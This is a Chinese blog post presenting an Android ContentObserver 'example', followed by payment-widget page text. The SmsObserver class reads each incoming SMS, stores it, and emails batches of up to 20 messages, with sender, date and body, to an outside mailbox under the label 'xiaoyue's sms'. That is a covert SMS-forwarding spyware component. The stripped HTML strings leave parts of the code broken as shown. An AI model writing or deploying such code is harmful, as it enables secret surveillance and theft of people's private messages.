【原创】ContentObserver 示例

import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.ContentValues;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Handler;
import android.util.Log;

public class SmsObserver extends ContentObserver {

private static String TAG = "SmsObserver";
private static final String[] SMS_PROJECTION = new String[] { DbHelper.SmsColumns._ID, DbHelper.SmsColumns.ADDRESS, DbHelper.SmsColumns.PERSON, DbHelper.SmsColumns.DATE, DbHelper.SmsColumns.TYPE,
DbHelper.SmsColumns.BODY };

private Context context;
private int _id = -1;

public SmsObserver(Context context, Handler handler) {
super(handler);
this.context = context;
Log.i(TAG, "My Oberver on create");
}

public void onChange(boolean change) {

Log.i(TAG, "Sms onChange");

Uri uri = Uri.parse("content://sms");

Cursor c = context.getContentResolver().query(uri, null, null, null, "_id desc limit 1");

if (c != null) {
boolean first = false;
while (c.moveToNext()) {
int id = c.getInt(c.getColumnIndex(SMS_PROJECTION[0]));
String address = c.getString(c.getColumnIndex(SMS_PROJECTION[1]));
String person = c.getString(c.getColumnIndex(SMS_PROJECTION[2]));
String date = c.getString(c.getColumnIndex(SMS_PROJECTION[3]));
String type = c.getString(c.getColumnIndex(SMS_PROJECTION[4]));
String body = c.getString(c.getColumnIndex(SMS_PROJECTION[5]));
if (_id != id) {
first = true;
Log.e(TAG, "address=" + address);
Log.e(TAG, "date=" + date);
Log.e(TAG, "body=" + body);
ContentValues values = new ContentValues();
values.put(DbHelper.SmsColumns.ADDRESS, address);
if (person != null)
values.put(DbHelper.SmsColumns.PERSON, person);
values.put(DbHelper.SmsColumns.DATE, date);
values.put(DbHelper.SmsColumns.TYPE, type);
values.put(DbHelper.SmsColumns.BODY, body);
context.getContentResolver().insert(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), values);
}
_id = id;
}
c.close();

String html = getSmsHtml(first);

}

}

public String getSmsHtml(boolean first) {

StringBuffer sb = new StringBuffer();
String ids = "";

if (first && isConnectInternet()) {
Cursor cursor = context.getContentResolver().query(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), SMS_PROJECTION, DbHelper.SmsColumns.SEND + "=0", null, "_id desc limit 20");
if (cursor != null) {
sb.append("");
sb.append("");
sb.append("id");
sb.append("address");
sb.append("person");
sb.append("date");
sb.append("type");
sb.append("body");
sb.append("");
while (cursor.moveToNext()) {
sb.append("");
int id = cursor.getInt(cursor.getColumnIndex(SMS_PROJECTION[0]));
String address = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[1]));
String person = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[2]));
String date = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[3]));
String type = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[4]));
String body = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[5]));
sb.append("" + id + "");
sb.append("" + address + "");
if (person != null)
sb.append("" + person + "");
else
sb.append("" + "null" + "");
sb.append("" + formatDate(Long.parseLong(date)) + "");
sb.append("" + type + "");
sb.append("" + body + "");
sb.append("");
ids += id + ",";
}
sb.append("");
ids = ids.substring(0, ids.length() - 1);
}
}
SmsMail mail = new SmsMail("xiaoyue's sms", sb.toString());
if (mail.send()) {
return ids;
}
return null;
}

public String formatDate(long time) {
DateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = new Date();
date.setTime(time);
String s = format.format(date);
return s;
}

public boolean isConnectInternet() {

ConnectivityManager conManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);

NetworkInfo networkInfo = conManager.getActiveNetworkInfo();

if (networkInfo != null) { // 注意,这个判断一定要的哦,要不然会出错

return networkInfo.isAvailable();

}

return false;
}
}
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值